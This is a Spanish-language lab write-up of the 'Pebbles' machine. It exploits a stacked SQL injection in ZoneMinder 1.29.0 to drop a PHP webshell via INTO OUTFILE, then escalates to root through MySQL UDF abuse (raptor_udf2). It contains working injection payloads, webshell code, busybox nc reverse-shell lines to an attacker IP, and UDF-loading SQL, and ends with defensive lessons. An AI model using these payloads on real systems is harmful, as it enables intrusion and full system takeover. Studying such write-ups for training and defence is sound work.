Pebbles
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Pebbles esconde un ZoneMinder 1.29.0 en el puerto 3305. Esa versión arrastra una inyección SQL con stacked queries en el parámetrolimit: la confirmamos a ciegas conSLEEP()y la convertimos en RCE escribiendo una webshell conINTO OUTFILEbajo el docroot. La shell entra comowww-data, pero el fichero que escribió MySQL es deroot: el demonio corre como root. Eso abre la puerta a un abuso de UDF de MySQL (raptor_udf2), que ejecuta comandos en ese contexto y nos da una shell de root.
Reconocimiento
Escaneo inicial
El TTL del ping nos orienta sobre el sistema operativo antes de escanear.
ping -c 1 192.168.175.5264 bytes from 192.168.175.52: icmp_seq=1 ttl=61 time=29.4 msTTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Escaneamos todos los puertos y luego identificamos servicios.
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.175.52PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
3305/tcp open http
8080/tcp open httpnmap -p21,22,80,3305,8080 -sCV 192.168.175.52 -oN targetedScanPORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Pebbles
3305/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Apache Tomcat
|_http-title: TomcatCuatro servicios web y un SSH. El 80 sirve una página llamada Pebbles, el 8080 es un Tomcat y el 3305 muestra la página por defecto de Apache, que casi siempre esconde algo bajo una ruta. Lo enumeramos.
HTTP - TCP 3305
La portada del 3305 es la default de Apache, así que fuzzeamos directorios.
gobuster dir -u http://192.168.175.52:3305/ -w directory-list-2.3-medium.txt -t 200 -b 404/javascript (Status: 301)
/zm (Status: 301)
/server-status (Status: 403)/zm es el directorio típico de ZoneMinder, un sistema de videovigilancia. La consola se carga sin pedir autenticación y, mejor aún, revela la versión exacta en la cabecera.

ZoneMinder Console - Running - default v1.29.0. Con producto y versión, buscamos fallos conocidos.
searchsploit 'ZoneMinder'Zoneminder 1.29/1.30 - Cross-Site Scripting / SQL Injection / Session | php/webapps/41239.txtEl aviso 41239 documenta varias vulnerabilidades de la 1.29/1.30. La que nos interesa es una inyección SQL en el parámetro limit de index.php, del tipo stacked queries (permite encadenar sentencias).
2)SQL Injection
Parameter: limit (POST)
Type: stacked queries
Payload: view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(5)))OQkj)#...Shell como www-data
ZoneMinder 1.29.0: la inyección SQL
Antes de confiar en el aviso, confirmamos la inyección a ciegas con el truco del tiempo: si meter un SLEEP(5) retrasa la respuesta cinco segundos y SLEEP(10) la retrasa diez, la base de datos está ejecutando lo que le inyectamos.
time curl -X POST 'http://192.168.175.52:3305/zm/index.php' --data 'view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434'
time curl -X POST 'http://192.168.175.52:3305/zm/index.php' --data 'view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(10)))OQkj)#&minTime=1466674406.084434'
real 5.19s (SLEEP(5))
real 10.19s (SLEEP(10))Los tiempos cuadran al segundo: la inyección es real y, al ser stacked, podemos lanzar sentencias propias, no solo leer datos.
De SQLi a RCE: INTO OUTFILE
Con stacked queries y, como veremos, una cuenta de MySQL con privilegio FILE, el siguiente salto es escribir un fichero en disco. Si lo dejamos caer bajo el docroot de Apache, será una webshell PHP. Eso es exactamente lo que hace SELECT ... INTO OUTFILE.
view=request&request=log&task=query&limit=100;SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE "/var/www/html/webshell.php"#&minTime=1466674406.084434El servidor responde 200 OK. La webshell ya está en su sitio.

Ponemos un listener y pedimos a la webshell que nos devuelva una shell. El payload usa busybox nc contra el puerto 80, un puerto que la máquina sí deja salir.
Antes de disparar la shell, dejamos un nc a la escucha:
nc -nlvp 80http://192.168.175.52:3305/webshell.php?cmd=busybox nc 192.168.45.239 80 -e shLa conexión vuelve como www-data.

Shell como root
Una pista: el fichero lo escribió root
Antes de buscar la escalada por las vías habituales, una observación lo resuelve casi todo. Miramos quién es el dueño de la webshell que acabamos de escribir.
ls -l webshell.php
-rw-rw-rw- 1 root root 30 Dec 31 11:24 webshell.phpLa hemos escrito nosotros desde la inyección, pero el dueño es root. El motivo es simple: INTO OUTFILE crea el fichero con el usuario del proceso de MySQL, y ese proceso corre como root. Lo confirmamos con ps.
ps aux | grep mysqld
root 1113 ... /usr/sbin/mysqldQue el motor de base de datos corra como root es la clave: si conseguimos que MySQL ejecute un comando, ese comando será root. Esa es la definición del abuso de UDF. Comprobamos la versión del servidor.
mysql --version
www-data@pebbles:/var/www/html$ mysql --version
mysql Ver 14.14 Distrib 5.7.30, for Linux (x86_64) using EditLine wrapperLa versión importa por dos motivos: fija la arquitectura (x86_64) con la que hay que compilar el .so del UDF, y confirma que es una rama 5.7, donde el directorio de plugins sigue siendo escribible por el propio demonio, que es justo lo que necesita el ataque.
MySQL UDF: raptor_udf2
El abuso de funciones definidas por el usuario consiste en cargar una librería compartida que registra una función SQL (do_system) capaz de ejecutar comandos del sistema. El clásico es raptor_udf2, de exploit-db.
searchsploit -m linux/local/1518.c
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc
echo 'busybox nc 192.168.45.239 80 -e sh' > bash.sh
python3 -m http.server 80Desde la shell de www-data descargamos la librería y el script al directorio temporal.
wget http://192.168.45.239/raptor_udf2.so -O /tmp/raptor_udf2.so
wget http://192.168.45.239/bash.sh -O /tmp/bash.shAhora, a través de la misma inyección SQL (que habla con el MySQL de root), creamos la función do_system: metemos el .so en una tabla, lo volcamos al directorio de plugins de MySQL con dumpfile y lo registramos como función.
view=request&request=log&task=query&limit=100;create table foo(line blob); insert into foo values(load_file('/tmp/raptor_udf2.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; create function do_system returns integer soname 'raptor_udf2.so';
Con nc a la escucha en el 80 de nuevo para el callback de root:
nc -nlvp 80Con la función registrada, solo queda invocarla para que MySQL (root) ejecute nuestro bash.sh.
view=request&request=log&task=query&limit=100;select do_system('/bin/bash /tmp/bash.sh');#&minTime=1466674406.084434La conexión vuelve, esta vez como root. (La máquina se redesplegó entre sesiones y reapareció con la IP 192.168.147.52; la técnica es idéntica.)

proof.txt
whoami && cat /root/proof.txt && hostname
root
8d3a511fe06b43c9d36e9c7daec09ff5
pebblesCadena de ataque
nmap ──> 3305/tcp: /zm ──> ZoneMinder 1.29.0
│ SQLi stacked queries en 'limit' (confirmada con SLEEP)
v
SELECT ... INTO OUTFILE ──> webshell.php en /var/www/html
│ ?cmd=busybox nc ... 80 -e sh
v
shell como www-data
│ webshell.php es de root ──> mysqld corre como root
v
MySQL UDF (raptor_udf2 -> do_system) ──> do_system('/bin/bash bash.sh')
v
shell como root ──> proof.txtLecciones aprendidas
- Una stacked SQLi con privilegio
FILEes ejecución de código.INTO OUTFILEdeja caer una webshell bajo el docroot y convierte la lectura de datos en RCE. La defensa es consultas parametrizadas y una cuenta de base de datos sinFILEnisecure_file_privabierto. - El dueño de un fichero que escribe un servicio delata con qué usuario corre. La webshell salió como root: eso, no un linpeas (repo), fue lo que señaló que MySQL era el camino a root.
- Nunca ejecutes el motor de base de datos como root. Con
mysqldcomo root, un abuso de UDF entrega el sistema entero. Corriendo comomysqlcon mínimo privilegio, el mismo fallo se queda en una shell de servicio. - Confirma la vulnerabilidad antes de explotarla. El
SLEEP(5)/SLEEP(10)validó la inyección a ciegas con coste casi nulo, antes de montar el resto de la cadena.